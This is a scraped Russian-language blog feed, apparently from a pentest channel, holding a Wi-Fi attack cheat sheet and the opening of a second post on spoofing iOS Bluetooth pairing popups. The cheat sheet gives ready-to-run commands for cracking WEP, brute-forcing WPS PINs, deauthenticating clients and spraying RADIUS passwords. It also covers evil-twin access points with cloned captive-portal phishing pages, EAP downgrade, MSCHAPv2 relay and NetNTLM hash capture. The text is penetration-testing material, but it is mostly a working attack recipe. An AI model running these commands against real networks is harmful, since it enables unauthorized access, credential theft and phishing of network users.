  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="eNum">Автор указывал на метод 16800, который уже устарел<br /><a href="https://hashcat.net/wiki/doku.php?id=cracking_wpawpa2" target="_blank">Тут </a>показан актуальный метод</p>
  </section>
  <p id="3GVj"></p>
  <h3 id="cVaG">ARP Request Replay Attack</h3>
  <p id="Lq0g">Если целевая беспроводная сеть не перегружена, то захват достаточного количества IVs(initialization vectors) для взлома аутентификации WEP может занять несколько дней.</p>
  <p id="Jk1g">Чтобы ускорить этот процесс, выполните фиктивную аутентификацию в беспроводной сети с несуществующим MAC-адресом и поддерживайте соединение:</p>
  <p id="MjwT"><code>aireplay-ng --fakeauth 6000 -o 1 -q 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF</code></p>
  <p id="7L3O">Если в сети активировано фильтрование MAC-адресов, выполните фиктивную аутентификацию в беспроводной сети с существующим MAC-адресом:</p>
  <p id="B6zT"><code>aireplay-ng --fakeauth 0 wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF</code></p>
  <p id="AWZg">Чтобы отслеживать количество захваченных IVs(initialization vectors), запустите airodump-ng для мониторинга беспроводной сети и следите за столбцом &quot;#Data&quot; (попробуйте захватить около 100 000 IVs(initialization vectors)):</p>
  <p id="x1Ct"><code>airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid</code></p>
  <p id="SEyH">Запустите стандартную атаку с повторением ARP-запросов против беспроводной сети:</p>
  <p id="HQzl"><code>aireplay-ng --arpreplay wlan1 -e essid -a FF:FF:FF:FF:FF:FF -h FF:FF:FF:FF:FF:FF</code></p>
  <p id="xjE6">[Опционально] Деаутентифицировать клиентов из беспроводной сети:</p>
  <p id="8L8C"><code>aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF</code></p>
  <p id="q6WC">Взломать аутентификацию WEP:</p>
  <p id="ugRR"><code>aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF replay_arp*.cap</code></p>
  <p id="vuAC"></p>
  <h3 id="PDc1">Атака Hirte</h3>
  <p id="nw1Z">Атака Hirte (High-rate Injection test) - это тест высокоскоростной инъекции, который используется для проверки безопасности беспроводных сетей. Эта атака направлена на проверку, насколько устойчива сеть к высокоскоростной инъекции пакетов.</p>
  <p id="5d7O">Основная идея атаки Hirte заключается в том, что она генерирует высокоскоростной поток сетевых пакетов и направляет его на беспроводную сеть. Это может использоваться для проверки наличия уязвимостей в сетевом оборудовании, которое может не справляться с такой высокой нагрузкой.</p>
  <p id="iHyR">Эта атака нацелена на клиентов, а не на точки доступа беспроводных сетей. Вам необходимо знать SSID (идентификаторы беспроводных сетей) ваших целевых WiFi-сетей.</p>
  <p id="C9gE">[Опционально] Настройте фиктивную WiFi-сеть WEP, если реальная сеть отсутствует:</p>
  <p id="nnZn"><code>airbase-ng -W 1 -N wlan0mon -c 8 --essid essid -a FF:FF:FF:FF:FF:FF</code></p>
  <p id="KUoc">При необходимости включите беспроводной интерфейс, что связать клиентов с фейковой WiFi-сетью. Мы разбирали, как это сделать, в первом пункте статьи.</p>
  <p id="0iQ9">Чтобы мониторить настоящую/фейковую WiFi-сеть для захвата рукопожатий/запросов используйте:</p>
  <p id="m3lI"><code>airodump-ng wlan0mon --channel 8 -w airodump_essid_results --essid essid --bssid</code></p>
  <p id="rbj1">Генерация пакетов клиентов в Вашем радиусе воспроизводится следующим образом:</p>
  <p id="3poO"><code>aireplay-ng --cfrag -D wlan1 -e essid -h FF:FF:FF:FF:FF:FF</code></p>
  <p id="xu5c">[Опционально] Для деаутентификации клиентов от настоящей/фейковой WiFi-сети используется:</p>
  <p id="fbqA"><code>aireplay-ng --deauth 10 wlan1 -e essid -a FF:FF:FF:FF:FF:FF</code></p>
  <p id="I91l">Перебор WEP-аутентификации:</p>
  <p id="xfDE"><code>aircrack-ng -e essid -b FF:FF:FF:FF:FF:FF airodump_essid_results*.cap</code></p>
  <p id="f5Fp"></p>
  <h3 id="5OKe">WPS PIN</h3>
  <p id="Lres">WiFi Protected Setup, WPS - стандарт и одноименный протокол полуавтоматического создания WiFi-сети. Создан он был для упрощения развертывания и подключения к WiFi-сетям.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="vIem">Старый тип атаки, мало где применим, попробовать в лаборатории можно.</p>
    <p id="Akfs">Есть хорошая <a href="https://medium.com/swlh/my-worst-nightmare-on-discovering-a-wi-fi-wps-vulnerability-on-my-home-router-45330c5444bc" target="_blank">статья </a>о данном методе - &quot;<em>My worst nightmare on discovering a Wi-Fi WPS vulnerability on my home router</em>&quot; (Работает под vpn)</p>
  </section>
  <p id="sgjG">Существует два типа WPS:</p>
  <ul id="UBGa">
    <li id="0m3V">WPS с пин-кодом из восьми цифр,где на клиенте нужно ввести тот же код, то и на точке доступа</li>
    <li id="XeEn">Кнопка WPS, которую нужно на и на точке доступа, и на клиенте с интервалом меньше пары минут</li>
  </ul>
  <p id="Aiet">Из всего этого получается, что точки доступа WiFi с включенным WPS уязвимы к атаке брутфорса(перебора) PINа. При успешном перебора можно будет подключиться к точке доступа, а заодно и узнать её WPA/WPA2 пароль. Перебор пина невозможен на тех точках доступа, где необходимо нажимать кнопки.</p>
  <p id="qVP8">Перебор WPS PINа:</p>
  <p id="gL8x"><code>reaver -vv --pixie-dust -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF</code></p>
  <p id="wc2j">А для перебора PINа с задержкой между попытками используйте:</p>
  <p id="LnsK"><code>reaver -vv --pixie-dust -N -L -d 5 -r 3:15 -T 0.5 -i wlan1 -c 8 -e essid -b FF:FF:FF:FF:FF:FF</code></p>
  <p id="PpyU"></p>
  <h3 id="RrSw">Атака на WPA/WPA2-Enterprise (MGT)</h3>
  <p id="gOui">WPA/WPA2 Enterprise - это один из наиболее безопасных методов обеспечения безопасности беспроводных сетей, особенно в корпоративной среде. В этой подглаве статьи мы рассмотрим аспекты взлома аутентификации WPA/WPA2 Enterprise с использованием метода аутентификации MGT (Machine-Generated Token).</p>
  <p id="nu7C">Захват имен пользователей RADIUS:</p>
  <ul id="Ubm0">
    <li id="c4RH">С помощью Wireshark: найдите поле «Идентификация» в сообщениях EAP типа «Ответ, Идентификация».</li>
    <li id="6JCU">С использованием crEAP:</li>
  </ul>
  <p id="4Wtp"><code>python crEAP.py -i mon0 -c &lt;channel&gt;</code></p>
  <p id="z3xX">Перебор учетных записей RADIUS / Password Spraying</p>
  <pre id="SfQv">./eaphammer --eap-spray \
	--interface-pool wlan0 wlan1 wlan2 wlan3 wlan4 \
	--essid &lt;target_ESSID&gt; \
	--password &lt;password_to_spray&gt; \
	--user-list &lt;usernames_list&gt;
	</pre>
  <p id="eR2s">Флаг <code>--interface-pool</code> используется для предоставления eaphammer списком беспроводных интерфейсов, с помощью которых будет создано многозадачное выполнение. <a href="https://github.com/s0lst1c3/eaphammer/wiki/XIII.-Password-Spraying" target="_blank">Ссылка на документацию</a></p>
  <p id="FA0b"><strong>Захват и взлом рукопожатий LEAP и EAP-MD5</strong></p>
  <p id="tWVd">Протоколы EAP-MD5 и MD5 не используют безопасный туннель для аутентификации клиента. В связи с этим существует возможность перехвата вызова аутентификации и ответа на него, а затем выполнения офлайн-взлома. Это означает, что данные аутентификации могут быть подвержены риску, если не применяются дополнительные меры безопасности.</p>
  <ul id="Wiyu">
    <li id="5fCm">Захват трафика и запись захваченных рукопожатий в файл:</li>
  </ul>
  <pre id="Y8jZ">airdump-ng -c &lt;channel&gt; --bssid &lt;AP_MAC&gt; -w &lt;capture&gt; mon0</pre>
  <ul id="6mto">
    <li id="MQ6k">(Дополнительно) Деаутентификация клиента от точки доступа:</li>
  </ul>
  <pre id="DjaI">aireplay-ng --deauth 5 -c &lt;MAC_target&gt; -a &lt;MAC_AP&gt; mon0</pre>
  <ul id="91is">
    <li id="LN2D">Взлом</li>
  </ul>
  <pre id="8pEL">eapmd5pass r &lt;capture&gt; -w &lt;wordlist&gt;	# Для EAP-MD5
asleap -r &lt;capture&gt; -W &lt;wordlist&gt;		# Для LEAP (взлом MSCHAPv2 запроса/ответа)
asleap -C &lt;mschapv2_challenge&gt; -R &lt;mschapv2_response&gt; -W &lt;wordlist&gt;  # Формат запроса/ответа, разделенный двоеточием</pre>
  <p id="J5yc"><strong>Взлом запроса/ответа MSCHAPv2 (например, EAP-PEAPv0, EAP-TTLS, EAP-FAST)</strong></p>
  <ul id="lOBP">
    <li id="rnD2">MSCHAPv2 может использоваться как &quot;Внутренний протокол EAP/Аутентификации&quot; (внутри TLS-туннеля) в нескольких методах EAP, таких как EAP-PEAPv0, EAP-TTLS, EAP-FAST.</li>
    <li id="Asr0">Для захвата вызова/ответа MSCHAPv2 требуется провести атаку &quot;Зловредный AP&quot; (Evil Twin Attack) и отключить проверку сертификата сервера на стороне клиента (см. eaphammer).</li>
  </ul>
  <pre id="34vw">asleap -C &lt;mschapv2_challenge&gt; -R &lt;mschapv2_response&gt; -W &lt;wordlist&gt; </pre>
  <p id="abV7"></p>
  <h3 id="z06i">Словари</h3>
  <p id="jU3c">Вы можете найти классический rockyou.txt в /usr/share/wordlists или же использовать SecLists - довольно полезную коллекцию разнотипных словарей, использующуюся для оценки безопасности.</p>
  <p id="Kjf3">Установка словарей SecLists (будет храниться в /usr/share/seclists):</p>
  <p id="Gfs9"><code>apt update &amp;&amp; apt install seclists</code></p>
  <p id="lwOp">Список других популярных коллекций словарей:</p>
  <ul id="8NBv">
    <li id="YNxA">- <a href="https://github.com/xmendez/wfuzz" target="_blank">xmendez/wfuzz</a>;</li>
    <li id="sdDa">- <a href="https://github.com/assetnote/commonspeak2-wordlists" target="_blank">assetnote/commonspeak2-wordlists</a>;</li>
    <li id="cATs">- <a href="https://weakpass.com/wordlist" target="_blank">weakpass.com/wordlist</a>;</li>
    <li id="pdXl">- <a href="https://packetstormsecurity.com/Crackers/wordlists" target="_blank">packetstormsecurity.com/Crackers/wordlists</a>.</li>
  </ul>
  <h3 id="Lb9O">Password Spraying</h3>
  <p id="4Z5x">Password Spraying или же распыление паролей - атака, в которой злоумышленник берет максимально возможное количество имен пользователей и несколько паролей, а затем подбирает каждое из имен пользователей, пока одно из них не будет подобрано верно.</p>
  <p id="zg8z">Но для воспроизведения данной атаки Вам в первую очередь понадобятся несколько хороших ключевых слов, способных описать Вашу цель. Таковыми могут быть:</p>
  <ul id="EojS">
    <li id="83VB">Имя компании;</li>
    <li id="QpXo">Аббревиатуры;</li>
    <li id="U94v">Что-то, что связано с сервисами или продуктами цели;</li>
    <li id="jcm1">И так далее.</li>
  </ul>
  <p id="ZgdA"></p>
  <h3 id="WKv3">Пост-эксплуатация</h3>
  <p id="DFqe">Если включена фильтрация MAC-адресов, то поменяйте MAC беспроводного интерфейса на существующий:</p>
  <p id="gFHh"><code>ifconfig wlan0 down &amp;&amp; macchanger --mac FF:FF:FF:FF:FF:FF &amp;&amp; ifconfig wlan0 up</code></p>
  <p id="LKMe">Когда Вы получили доступ к WiFi-сети, пройдитесь следующими инструментами:</p>
  <ul id="rtT7">
    <li id="cwXC">- <a href="https://github.com/tomac/yersinia" target="_blank">yersinia</a> -G;</li>
    <li id="n3we">- <a href="https://github.com/lgandx/Responder" target="_blank">responder</a> -wF -i 192.168.8.5;</li>
    <li id="c1yr">- wireshark.</li>
  </ul>
  <p id="X3sV">Попробуйте подключиться к WEB-интерфейсу точки доступа. Поищите в Интернете список путей и учетных записей по умолчанию.</p>
  <p id="YVtb">Запустите сканирования/перебор сети.</p>
  <p id="usOu"></p>
  <h2 id="x7J5">WPA/WPA2-Personal (PSK) Rogue AP Evil Twin</h2>
  <ul id="No8e">
    <li id="dvJu">Для проведения атаки &quot;Evil Twin&quot; с использованием настройки WPA/WPA2 требуется знание парольной фразы целевой сети (например, на конференции, если пароль уже был взломан...).</li>
    <li id="ydmZ">Если пароль неизвестен, можно настроить атаку &quot;Evil Twin&quot; с открытой сетью (например, для попытки получения парольной фразы с помощью фишинга через атаку с захватом сессии с помощью портала аутентификации).</li>
  </ul>
  <p id="UIXK"></p>
  <h3 id="34Fw">Базовая точка доступа WPA/WPA2-PSK</h3>
  <p id="5wbb">С общим доступом к Интернету (по умолчанию):</p>
  <pre id="jEdH">berate_ap &lt;interface_AP&gt; &lt;interface_internet&gt; &lt;SSID&gt; &lt;passphrase&gt;</pre>
  <p id="05Vx">Без совместного использования Интернета</p>
  <pre id="9LL5">berate_ap -n &lt;interface_AP&gt; &lt;SSID&gt; &lt;passphrase&gt;</pre>
  <p id="Ru4H">Общий доступ к Интернету через мост (предварительно настроенный интерфейс моста)</p>
  <pre id="Djpo">berate_ap -m bridge &lt;interface_AP&gt; &lt;interface_internet&gt; &lt;SSID&gt; &lt;passphrase&gt;</pre>
  <p id="BBCt">Совместное использование Интернета с того же интерфейса Wi-Fi</p>
  <pre id="hKyg">berate_ap &lt;interface_AP&gt; &lt;interface_AP&gt; &lt;SSID&gt; &lt;passphrase&gt;</pre>
  <p id="udsb">Включить IEEE 802.11n (с частотой 40 МГц)</p>
  <pre id="Syt8">berate_ap --ieee80211n --ht_capab &#x27;[HT40+]&#x27; &lt;interface_AP&gt; &lt;interface_internet&gt; &lt;SSID&gt; &lt;passphrase&gt;</pre>
  <p id="INNW">Включить изоляцию клиента</p>
  <pre id="MzVe">berate_ap --isolate-clients &lt;interface_AP&gt; &lt;interface_internet&gt; &lt;SSID&gt; &lt;passphrase&gt;</pre>
  <p id="2JCm"></p>
  <h3 id="FyD5">WPA/WPA2-PSK AP Evil Twin + Captive Portal Attack</h3>
  <p id="PSVc"></p>
  <p id="UIHK"><em>С использованием wifiphisher</em>:</p>
  <pre id="onwk">wifiphisher -aI &lt;interface_rogue_AP&gt; -jI &lt;interface_jamming&gt; --essid &lt;target_SSID&gt; -pK &lt;passphrase&gt; -kN</pre>
  <p id="zZG8"><em>С использованием eaphammer:</em></p>
  <pre id="tbyG">./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-psk \
--essid &lt;SSID&gt; --wpa-passphrase &lt;passphrase&gt; --captive-portal  # WPA2 по-умолчанию

./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-psk \
--essid &lt;SSID&gt; --wpa-passphrase &lt;passphrase&gt; --captive-portal --wpa-version 1  # Принудительный WPA1</pre>
  <p id="z4uQ">Для достижения наилучших результатов в фишинге:</p>
  <ul id="coaL">
    <li id="xDfe">Клонировать легальную страницу (wget);</li>
    <li id="IK0R">Скопируйте клонированную веб-страницу в каталог /var/www/html/ (eaphammer обслуживает веб-страницу отсюда в соответствии с конфигурацией Apache2 по умолчанию).</li>
  </ul>
  <p id="Gmc3"></p>
  <h3 id="y812">WPA/WPA2-PSK AP Evil Twin + (половинный) захват рукопожатия WPA</h3>
  <pre id="DkX3">./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-psk \
--essid &lt;SSID&gt; --wpa-passphrase randompassphrase --capture-wpa-handhshake</pre>
  <p id="wiF3"></p>
  <h2 id="qb4w">WPA/WPA2-Enterprise (MGT) Rogue AP Evil Twin</h2>
  <p id="dJS9">Атака &quot;Evil Twin&quot; на сети WPA/WPA2-Enterprise возможна только в случае, если:</p>
  <ol id="hvje">
    <li id="IoNE">Метод EAP, используемый для аутентификации клиента, не использует клиентский сертификат (например, EAP-TLS, PEAPv0(EAP-TTLS)), так как в этом случае нет учетных данных, которые можно было бы украсть.</li>
    <li id="VRnj">Метод EAP, используемый для аутентификации клиента, не требует серверного сертификата (например, EAP-MD5, LEAP), или в развертывании EAP не требуется проверка сертификатов сервера на рабочих станциях (или клиент вручную принимает недействительный сертификат, если это возможно).</li>
  </ol>
  <p id="sdpU">Стандартные показатели (лично для меня):</p>
  <ul id="xOC0">
    <li id="kipL">Эта атака эффективна против устройств на операционной системе Android.</li>
    <li id="Qavg">Эффективна против устройств на операционной системе iOS, но может потребовать подтверждения сертификата.</li>
    <li id="44w4">Против устройств на операционной системе Windows может быть захвачен только вызов-ответ.</li>
  </ul>
  <p id="RNNA"></p>
  <h2 id="xTM5">WPA/WPA2-Enterprise AP Evil Twin + Кража учетных данных RADIUS</h2>
  <p id="eiFX">Этот тип атаки может использоваться для кражи учетных данных RADIUS (в чистом виде или, чаще всего, вызов-ответ, например, MSCHAPv2), когда используется EAP с аутентификацией клиента на основе учетных данных.</p>
  <p id="qhrt"><strong>С использованием <em>berate_ap:</em></strong></p>
  <p id="DcVU">(Дополнительно) Для более убедительной атаки сертификат, представляемый пользователям при аутентификации, должен быть похож на легитимный сертификат. Сертификат, используемый легитимной точкой доступа (AP), можно извлечь из захвата сети с помощью следующего инструмента: <a href="https://gist.github.com/Cablethief/a2b8f0f7d5ece96423ba376d261bd711" target="_blank">ссылка на скрипт</a>.</p>
  <pre id="vqnu">./extract_EAP.sh -r &lt;capture file&gt;
./extract_EAP.sh -i mon0</pre>
  <p id="7gzD">Создание корпоративной сети (запросит информацию для использования в создаваемом сертификате) и захват учетных данных EAP:</p>
  <pre id="GdQL">berate_ap --eap --mana-wpe --mana-credout &lt;file_captured_creds&gt; &lt;interface_AP&gt; &lt;interface_internet&gt; &lt;SSID&gt;</pre>
  <p id="hW0R">Поддерживаемые режимы EAP, как минимум: <a href="https://github.com/sensepost/hostapd-mana/wiki/MANA-EAP-Options-(aka-WPE)" target="_blank">ссылка на документацию</a>:</p>
  <ul id="N3dh">
    <li id="v7D8">EAP-PEAP/MSCHAPv2 (both PEAPv0 и PEAPv1)</li>
    <li id="pVRX">EAP-PEAP/GTC (both PEAPv0 и PEAPv1)</li>
    <li id="vh9y">EAP-PEAP/MD5 (both PEAPv0 и PEAPv1)</li>
    <li id="5mkz">EAP-TTLS/EAP-MD5</li>
    <li id="pffF">EAP-TTLS/EAP-GTC</li>
    <li id="q46O">EAP-TTLS/EAP-MSCHAPv2</li>
    <li id="MTcX">EAP-TTLS/MSCHAPv2</li>
    <li id="hvSJ">EAP-TTLS/MSCHAP</li>
    <li id="9AIp">EAP-TTLS/PAP</li>
    <li id="A5oW">EAP-TTLS/CHAP</li>
    <li id="XCFL">EAP-MD5</li>
    <li id="ioXS">EAP-MSCHAPv2</li>
    <li id="bRmy">EAP-GTC</li>
  </ul>
  <p id="aE9R"><strong>С использованием <em>eaphammer:</em></strong></p>
  <p id="lUCc">Создание self-signed сертификатов x.509.</p>
  <pre id="AbUS">./eaphammer --cert-wizard</pre>
  <p id="Vbvc">Информация о сертификатах: <a href="https://github.com/s0lst1c3/eaphammer/wiki/XIV.-Cert-Wizard" target="_blank">ссылка на документацию</a>.</p>
  <p id="YPLs">Запустите атаку &quot;Зловредный AP&quot; против точки доступа WPA-Enterprise и захватите учетные данные EAP:</p>
  <pre id="vO7i">./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-eap \
 --essid &lt;SSID_corporate_wifi&gt; --creds  # Use WPA2 by default</pre>
  <p id="ftaQ"></p>
  <h2 id="ZECe">EAP Downgrade Attack</h2>
  <p id="xcpI">Сбалансированный подход (самый эффективный)</p>
  <p id="P1lM">При использовании eaphammer поведение по умолчанию заключается в использовании сбалансированного подхода к снижению уровня EAP. Он предлагает следующие последовательности методов EAP во время процесса согласования EAP:</p>
  <pre id="vTHS"># Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2  (inner authentication)
GTC,MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,TTLS-PAP,TTLS-MSCHAP,MD5</pre>
  <p id="u3D8">Eaphammer сначала пытается снизить уровень до GTC, а затем сразу переходит к более надежным методам EAP, если попытка не удается. Этот сбалансированный подход разработан для максимизации воздействия при минимизации риска долгих согласований EAP.</p>
  <p id="y9Li">Референс - <a href="https://github.com/s0lst1c3/eaphammer/wiki/VIII.-Attacking-WPA-EAP-and-WPA2-EAP-Networks" target="_blank">Ссылка</a></p>
  <p id="GsPd"></p>
  <h3 id="H9NQ">Полное понижение версии EAP (с самого сильного до самого слабого) </h3>
  <pre id="MeJD">./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-eap  \
 --essid &lt;SSID_corporate_wifi&gt; --negotiate weakest --creds</pre>
  <p id="yNDc">В этом случае eaphammer предлагает методы EAP в следующем порядке:</p>
  <pre id="rXWZ"># Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2 (inner authentication)
GTC,TTLS-PAP,MD5,TTLS-CHAP,TTLS-MSCHAP,MSCHAPV2,TTLS-MSCHAPV2,TTLS</pre>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="zD4H">Предупреждение: более вероятно увеличение времени согласования EAP (низкая вероятность успеха PAP, MD5, CHAP), что может снизить эффективность атаки!</p>
  </section>
  <p id="zqoz"></p>
  <h3 id="nhDR">Подход, оптимизированный по скорости (от самого сильного к самому слабому)</h3>
  <pre id="eLsw">./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-eap  \
 --essid &lt;SSID_corporate_wifi&gt; --negotiate speed --creds</pre>
  <p id="4bHH">В этом случае eaphammer предлагает методы EAP, которые с наибольшей вероятностью будут успешными в первую очередь:</p>
  <pre id="XFCh"># Phase 1 (outer authentication)
PEAP,TTLS,TLS,FAST

# Phase 2 (inner authentication)
MSCHAPV2,TTLS-MSCHAPV2,TTLS,TTLS-CHAP,GTC,TTLS-PAP,TTLS-MSCHAP,MD5</pre>
  <p id="o4RF">Используйте этот режим, если у вас возникли проблемы с завершением процесса аутентификации EAP клиентами в режиме по умолчанию.</p>
  <p id="WJwv"></p>
  <h2 id="xoMZ">WPA/WPA2-Enterprise AP Evil Twin + EAP (MSCHAPv2) Relay</h2>
  <p id="xcHP">Эта атака может быть использована, когда метод EAP использует MSCHAPv2 для аутентификации клиента. Она пересылает вызов/ответ к оригинальной точке доступа (AP), чтобы иметь возможность подключиться к сети без необходимости взламывать учетные данные MSCHAPv2.</p>
  <ul id="ypaM">
    <li id="i3eh">Создание Evil Twin AP:</li>
  </ul>
  <pre id="FG37">berate_ap --eap --mana-wpe --wpa-sycophant --mana-credout &lt;file_captured_creds&gt; \
&lt;interface_AP&gt; &lt;interface_internet&gt; &lt;SSID&gt;</pre>
  <ul id="5u9O">
    <li id="rdpZ">Создайте файл конфигурации для wpa-sycophant на основе этого примера:</li>
  </ul>
  <pre id="ilOk">network={
  ssid=&quot;TestingEAP&quot;
  # SSID, который вы хотите ретранслировать и аутентифицировать.
  scan_ssid=1
  key_mgmt=WPA-EAP
  # Do not modify
  identity=&quot;&quot;
  anonymous_identity=&quot;&quot;
  password=&quot;&quot;
  # Это инициализирует переменные для меня.
  # -------------
  eap=PEAP
  phase1=&quot;crypto_binding=0 peaplabel=0&quot;
  phase2=&quot;auth=MSCHAPV2&quot;
  # Мы не хотим обратного подключения к себе, поэтому добавьте сюда свой поддельный BSSID.
  bssid_blacklist=00:14:22:01:23:45
}</pre>
  <p id="WIAk">Запустите wpa-sycophant:</p>
  <pre id="TFZ3">./wpa_sycophant.sh -c wpa_sycophant_example.conf -i &lt;interface&gt;</pre>
  <p id="m4LO"></p>
  <h3 id="WC78">RADIUS Credentials Management</h3>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="BFpc"><strong>Важно: для проведения дополнительных атак на корпоративную сеть WPA-Enterprise требуется знание учетных данных RADIUS клиента в большинстве методов EAP (особенно в методах EAP, требующих взаимной аутентификации, например, MSCHAPv2).</strong></p>
  </section>
  <p id="ch09">Учетные данные RADIUS должны быть добавлены в файл eap_user hostapd. В eaphammer доступен интерфейс для выполнения этой операции:</p>
  <pre id="ufmw">./ehdb --list  # List creds in local db
./ehdb --add --identity &lt;username&gt; --password &lt;password&gt;  # Добавить учетные записи в базу данных
./ehdb --add --identity &lt;username&gt; --nt-hash &lt;ntlm_hash&gt;  # Добавить учетные записи с хэшем NTLM в базу данных
./ehdb --delete --identity-is &lt;username&gt;  # Удалить запись из базы данных
./ehdb --delete --delete-all  # Удалить все записи в базе данных</pre>
  <p id="2CjM">Референс - <a href="https://github.com/s0lst1c3/eaphammer/wiki/IX.-EAPHammer-User-Database" target="_blank">Ссылка</a></p>
  <p id="Qgmg"></p>
  <h2 id="suji">WPA/WPA2-Enterprise AP Evil Twin + Captive Portal Attack</h2>
  <p id="xM14"><strong>Важно: требуется знание учетных данных RADIUS клиента (добавленных в файл eap_user hostapd) в большинстве методов EAP (особенно в методах EAP, требующих взаимной аутентификации, например, MSCHAPv2).</strong></p>
  <pre id="b8qe">./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-eap \
 --essid &lt;SSID_corporate_wifi&gt; --captive-portal</pre>
  <p id="tzap">Для достижения наилучших результатов в фишинге:</p>
  <ul id="coaL">
    <li id="6cOU">Клонировать легальную страницу (wget);</li>
    <li id="oHhY">Скопируйте клонированную веб-страницу в каталог /var/www/html/ (eaphammer обслуживает веб-страницу отсюда в соответствии с конфигурацией Apache2 по умолчанию).</li>
  </ul>
  <p id="Vgxq"></p>
  <h2 id="NBf9">WPA/WPA2-Enterprise AP Evil Twin + NetNTLM Hash Capture</h2>
  <section style="background-color:hsl(hsl(323, 50%, var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="Tu1H"><strong>Важно: требуется знание учетных данных RADIUS клиента (добавленных в файл eap_user hostapd) в большинстве методов EAP (особенно в методах EAP, требующих взаимной аутентификации, например, MSCHAPv2).</strong></p>
  </section>
  <p id="TolT">Атака с использованием враждебного портала перенаправляет HTTP-трафик на SMB-ресурс, находящийся на машине атакующего:</p>
  <pre id="N9Kh">./eaphammer -i wlan0 --channel &lt;channel_number&gt; --auth wpa-eap \
 --essid &lt;SSID_corporate_wifi&gt; --hostile-portal</pre>
  <p id="Id6Q"></p>
  <h2 id="Zfym">Mind карта для пентеста wifi</h2>
  <p id="7OuA"><a href="https://mm.tt/app/map/2940957526?t=DrQQ0S5qZW" target="_blank">Ссылка</a> </p>
  <p id="QHuO"></p>
  <h2 id="5eMK">Krack - ни разу не пригодилось</h2>
  <p id="BSw2"><a href="https://github.com/vanhoefm/krackattacks-scripts" target="_blank">Ссылка</a> </p>
  <p id="kOvx"></p>
  <h2 id="jLwE">MacStealer: Wi-Fi Client Isolation Bypass</h2>
  <p id="tlvB"><a href="https://github.com/vanhoefm/macstealer" target="_blank">Ссылка</a></p>
  <p id="nu50"></p>
  <p id="YLEn"></p>
  <p id="Vwo1">tg - <a href="https://t.me/bh_cat" target="_blank">https://t.me/bh_cat</a></p>
  <tt-tags id="ciHZ">
    <tt-tag name="wifi">#wifi</tt-tag>
    <tt-tag name="pentest">#pentest</tt-tag>
  </tt-tags>

]]></content:encoded></item><item><guid isPermaLink="true">https://teletype.in/@bh_cat/Fqbs8A1Xh1t</guid><link>https://teletype.in/@bh_cat/Fqbs8A1Xh1t?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat</link><comments>https://teletype.in/@bh_cat/Fqbs8A1Xh1t?utm_source=teletype&amp;utm_medium=feed_rss&amp;utm_campaign=bh_cat#comments</comments><dc:creator>bh_cat</dc:creator><title>Подделка устройства iOS с помощью сообщений о сопряжении Bluetooth, отправляемых с Android.</title><pubDate>Fri, 08 Sep 2023 05:22:39 GMT</pubDate><media:content medium="image" url="https://img1.teletype.in/files/c8/94/c894ffd9-5cfa-4edb-9ba6-3a2ce27635fc.png"></media:content><description><![CDATA[<img src="https://img4.teletype.in/files/f2/be/f2beff41-17da-49a6-a8b3-3af72ce1a825.jpeg"></img>Возможно, вы слышали о недавних назойливых появляющихся сообщениях для сопряжения, которые получили многие участники Defcon в этом году, с предложением сопряжения их iPhone с ближайшим Apple TV или другим гаджетом через Bluetooth. В этом блоге мы продемонстрируем, как отправлять такие всплывающие сообщения на ближайшие устройства iPhone с Android-смартфона. Это возможно благодаря инструменту AppleJuice, предназначенному для устройств на Linux, и успешно протестированному на ноутбуке и Raspberry Pi 3B+. Из-за этого мы можем установить и использовать его на устройствах Android. Подделку можно выполнить даже с использованием встроенного чипа Bluetooth. Если вас интересует, как использовать инструменты Bluetooth на Android с NetHunter...]]></description><content:encoded><![CDATA[
  <p id="MA5X">Возможно, вы слышали о недавних назойливых появляющихся сообщениях для сопряжения, которые получили многие участники <a href="https://techcrunch.com/2023/08/14/researcher-says-they-were-behind-iphone-popups-at-def-con/" target="_blank">Defcon</a> в этом году, с предложением сопряжения их iPhone с ближайшим Apple TV или другим гаджетом через Bluetooth. В этом блоге мы продемонстрируем, как отправлять такие всплывающие сообщения на ближайшие устройства iPhone с Android-смартфона. Это возможно благодаря инструменту <a href="https://github.com/ECTO-1A/AppleJuice" target="_blank">AppleJuice</a>, предназначенному для устройств на Linux, и успешно протестированному на ноутбуке и Raspberry Pi 3B+. Из-за этого мы можем установить и использовать его на устройствах Android. Подделку можно выполнить даже с использованием встроенного чипа Bluetooth. Если вас интересует, как использовать инструменты Bluetooth на Android с NetHunter, следите за нашим предстоящим блог-постом, который будет посвящен Арсеналу Bluetooth.</p>
  <section style="background-color:hsl(hsl(0,   0%,  var(--autocolor-background-lightness, 95%)), 85%, 85%);">
    <p id="7MdS">Отказ от ответственности: Информация, предоставленная в этой статье блога, предназначена исключительно для образовательных и информационных целей. Она не призывает и не поощряет какие-либо незаконные или нравственно неприемлемые действия, включая взлом, кибератаки или любые формы несанкционированного доступа к компьютерным системам, сетям или данным.</p>
  </section>
  <p id="KsM8"></p>
  <h2 id="VIqR">Требования</h2>
